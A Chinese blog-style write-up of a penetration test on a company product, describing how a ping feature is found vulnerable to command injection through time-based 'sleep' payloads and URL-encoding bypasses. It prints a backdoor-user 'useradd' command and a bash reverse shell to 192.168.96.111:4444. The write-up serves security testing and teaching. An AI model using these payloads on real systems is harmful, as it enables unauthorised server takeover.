命令執行漏洞挖掘實例

前言

這兩天給公司的產品做安全測試,有個比較經典的命令執行漏洞感覺還挺有意思,寫出來記錄一下

一: 前期判斷

看到這裏有個網絡檢測,感覺就有命令執行 的漏洞,抓包就試試看
在這裏插入圖片描述
輸入127.0.0.1本地地址,發現能ping通
在這裏插入圖片描述
發現如果命令不正確或者ip地址不存在,返回包爲false。因此即使存在命令執行的漏洞也無法回顯。那這裏就考慮用延時判斷是不是存在命令執行漏洞

二:判斷是否存在命令執行注入

其實之前走了很多歪路,這裏就不提了。ping命令有個參數,-c 表示icmp要發幾個包。這裏我們通過 修改-c 的數目,理論上-c的數值越大,那返回的時間越長
這裏遇到第一個問題
在這裏插入圖片描述
添加參數報錯,這裏空格處通過%20替代,因爲http包有url轉碼,所以%20到服務器端會解析爲空格,成功繞過
-c 1 時,時間59毫秒
在這裏插入圖片描述
-c 2 ,時間爲4086毫秒
在這裏插入圖片描述
從這裏的話,就知道-c 這個參數已經帶入成功,那在嘗試拼接命令。拼接命令使用&&,&,|,||等,都試了,感覺不是很合適,因爲前面命令一旦執行成功,頁面上馬上就回顯回來,無法通過時間來判斷。這裏我使用分號;做拼接,分號後面都命令執行完之後,這個包才能判斷true or false
嘗試127.0.0.1 -c 1;sleep 1
這裏 -c 參數不要太大,時間久了默認就false,sleep也不宜過大,只要能體現頁面回顯的時間變化就可以
t = 4086
在這裏插入圖片描述
127.0.0.1 -c 1;sleep 2
t = 8069
在這裏插入圖片描述
到這裏就很明確,sleep命令已經執行成功,且存在命令執行注入漏洞

三:通過命令執行注入獲取服務器權限

這裏也卡了一段時間,最後解決就很快。想過2個方法獲得服務器權限。
一個的話通過一句話命令新增用戶,到時候直接連服務器就可以。
如新建test:123456用戶
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
另外一個就是反彈shell
bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
但是呢,這兩條命令都有特殊符號,特別像&,如果空格可以用%20繞過都話,其他字符在繞過上我還沒啥思路,會報請求錯誤
在這裏插入圖片描述
到這裏又卡了一下,難道命令注入找到了,卻無法利用,這就有點尷尬了,後來忽然想起來,空格能通過url編碼繞過,那整個請求參數值能做一遍url編碼不是也可以嘛,試試看
在這裏插入圖片描述
開啓監聽
在這裏插入圖片描述
將編碼後的參數替換,放包,雖然一直卡着,當監聽的shell已經回來,成功拿到服務器權限
在這裏插入圖片描述
在這裏插入圖片描述

到這裏就結束了,關於那第三節,不知道有沒有不通過編碼的繞過方式,如果有,感謝指教~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章